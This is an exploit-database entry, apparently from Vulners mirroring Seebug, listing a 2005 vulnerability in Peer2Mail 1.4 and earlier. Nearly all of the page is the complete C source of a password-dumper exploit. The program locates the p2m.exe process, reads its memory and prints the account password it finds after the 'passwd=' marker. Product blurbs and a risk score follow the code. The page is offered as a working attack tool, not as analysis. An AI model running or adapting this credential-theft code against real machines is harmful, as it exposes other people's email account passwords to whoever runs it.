Lucene search
K

Peer2Mail <= 1.4 Encrypted Password Dumper Exploit

🗓️ 16 Jan 2005 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Peer2Mail versions up to 1.4 are vulnerable to a password dumper exploit by ATmaCA.

Code

                                                /*
* Peer2Mail Encrypt PassDumper Exploit  v1.0
* Discoveried & Coded By ATmaCA
* Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.
* Web: http://www.atmacasoft.com
* E-Mail: [email protected]
*/

/*
* Peer2Mail 1.4 and prior versions are affected.
* Tested for gmail account on Win XP SP2
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tlhelp32.h>

void Credits(void);
DWORD GetPid(char ProcessName[200]);
int PutUserPassword(DWORD pid);

int main(void)
{
   char TargetProcess[80];
   DWORD pid;

   Credits();  //print the credits to the screen

   pid=GetPid("p2m.exe"); //Get the PID of the target process
   if(pid==0)
   {
        printf("Error: Getting pid from %s",TargetProcess);
        return EXIT_FAILURE;
   }

   if(PutUserPassword(pid)!=0) //if we can not get the password
        return EXIT_FAILURE;

   return EXIT_SUCCESS;

}
void Credits()   //the function that prints the credits to the screen
{
     printf("Peer2Mail Encrypt PassDumper Exploit  v1.0\n");
     printf("Discoveried & Coded By [ATmaCA]\n");
     printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
     printf("Web: http://www.atmacasoft.com\n");
     printf("E-Mail: [email protected]\n\n");
}

DWORD GetPid(char ProcessName[200]) //gets the process-id from the processname
{
       DWORD pid;
       HANDLE Snap;
       PROCESSENTRY32 proc32;
       char CapProcessName[200];

       strcpy(CapProcessName,CharLower(ProcessName));

       Snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);  //Create a snapshot of all current running processes
       if(Snap==INVALID_HANDLE_VALUE)
       {
           printf("Error creating snapshot of current processes.");

           return 0;
       }

       proc32.dwSize=sizeof(PROCESSENTRY32);
       while((Process32Next(Snap,&proc32))==TRUE)  //Get the process-id from p2m.exe
       {
             if(strcmp(CharLower(proc32.szExeFile),CharLower(ProcessName))==0||strcmp(CharLower(proc32.szExeFile),CharLower(CapProcessName))==0)
                    break;

       }
       pid=proc32.th32ProcessID;
       CloseHandle(Snap);
       return pid;
}

int PutUserPassword(DWORD pid)
{
   #define BUFSIZE 500000

   HANDLE hProc;
   DWORD total;
   long int base;
   char buf[BUFSIZE];
   char pass[BUFSIZE];
   int i=0,j,k;

       //open the process
       hProc=OpenProcess(PROCESS_VM_READ,FALSE,pid);
       if(hProc==NULL)
       {
           printf("Error: opening process.");
           printf("\nPerhaps this account is too limited..");
           return 1;
       }

       //
       // The Base Memory Address To Search;
       // The Password May Be Located Before The Address Or Far More From This Address,
       // Which Causes The Result Unreliable
       //
       base=0x01320000;

       //try to read the memory of p2m.exe
       while(ReadProcessMemory(hProc,(PVOID)base,buf,BUFSIZE,&total)!=0)
       {
           for(i=0;i<BUFSIZE;i++)
           {
               if(buf[i]=='p'&&buf[i+1]=='a'&&buf[i+2]=='s'&&buf[i+3]=='s'&&buf[i+4]=='w'&&buf[i+5]=='d'&&buf[i+6]=='=')
               {
                   j=0;
                   for(k=i+7;k<BUFSIZE;k++)
                   {
                       if(buf[k]=='&')//check if we've reached the end of the password
                       {
                            pass[j]=NULL;
                            goto gotit;
                       }
                       pass[j]=buf[k];
                       j++;
                   }
                   break;
               }
           }
           base+=BUFSIZE;
       }
       gotit:
       printf("Password: %s",pass);
       CloseHandle(hProc);
       return 0;
}

// sebug.net

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jan 2005 00:00Current
7.1High risk
Vulners AI Score7.1
17